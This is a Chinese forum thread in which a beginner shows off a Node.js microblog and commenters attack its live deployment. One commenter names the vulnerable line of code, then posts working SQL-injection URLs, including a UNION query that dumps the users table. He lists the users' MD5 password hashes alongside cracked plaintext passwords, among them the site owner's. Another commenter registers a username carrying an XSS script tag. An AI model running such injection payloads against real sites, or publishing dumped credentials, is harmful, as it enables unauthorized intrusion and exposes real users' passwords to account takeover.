初学 nodejs，撸了个简单的微博系统，求轻喷

[lizhiqing1996]

截图：

示例： microblog

源码： github

[ruooooooli]

看起来挺好的 也打算学学

[willhunger]

你的 node.js 怎么学习的呀？？

[a2ex]

http 服务器消息处理+数据库读写。。。

[lizhiqing1996]

@willhunger 我看的《 nodejs 开发指南》，这个微博例子就是上面的，不过我换了很多内容

[lizhiqing1996]

@a2ex 初学只能做到这样了。。。

[Dvel]

学了多久了，我过阵子也打算学学 node.js

[zonghua]

没什么好学的。。。

[lizhiqing1996]

@Dvel 差不多一周，大学狗没什么时间，一周七天都有课，作业还超多


@zonghua 主要是在学 Android ，学 nodejs 主要是学习写 API

[freewheel]

maek

[xqin]

赤果果的 sql 注入...
https://github.com/Zhiqing-Lee/microblog/blob/master/models/post.js 第 32 行,自己手工将当前的用户名拼入 Sql 语句中.
整个项目中,其他地方都是用的 ? 来带入的(这时候会自动处理, 不会有注入的情况, 只有这里自己手工带进去了).

然后我注册了一个名为 `" or ""="` 的用户, 然后...你懂的, 自己看结果
我注册的账号的列表页:
http://mb.zhiqing.info/u/%22%20or%20%22%22=%22

其他普通帐号的:
http://mb.zhiqing.info/u/qwe

[qinxi]

@xqin 哈哈哈,一看初学者,我就猜有人要注入

[xqin]

再来个炸弹:

http://mb.zhiqing.info/u/%22%20union%20ALL%20select%20name%20as%20user,password%20as%20post,%200%20as%20time%20from%20users%20where%20%22%22=%22

根据查出来的结果, 以及根据代码中密码的写入方式得知是 MD5 + base64 的结果,所以...

以下为目前列出来的账号的密码:

zhiqing f57b888bc53ccfa3e4a71f19604df23c 找到了,但是是一条付费才能看的.
qwe 76d80224611fc919a5d54f0ff9fba446 qwe
123 202cb962ac59075b964b07152d234b70 123
<h1>123</h1> 5e6535e26cf8c546395f4e3f4c5d189e 未找到
123qwe 46f94c8de14fb36680850768ff1b7f2a 123qwe
3123 e10adc3949ba59abbe56e057f20f883e 123456
<img src=x> eb6cd2e33d39e677b19b611fe2eb32ee 未找到
jerry 202cb962ac59075b964b07152d234b70 123
foo 37b51d194a7513e45b56f6524f2d51f2 bar
" or ""=" e10adc3949ba59abbe56e057f20f883e 123456
tet111 4297f44b13955235245b2497399d7a93 123123

[xqin]

@qinxi 这不是猜, 这是根据他的代码得出来的结论以及事实.

[cappuccinos]

好样的 1!

[xqin]

zhiqing 的那个密码也查出来了 密码为: lizhiqing

[garipan]

你们太坏了 真的

[lizhiqing1996]

@xqin 学习了，终于意识到自己的代码是多么不安全了😂

[hard2reg]

你们这群人，太可怕了

[hard2reg]

@xqin 大神，收我为徒吧！

[jame]

帐号可以带空格, 带标签
注册了一个<script>alert(1);</script>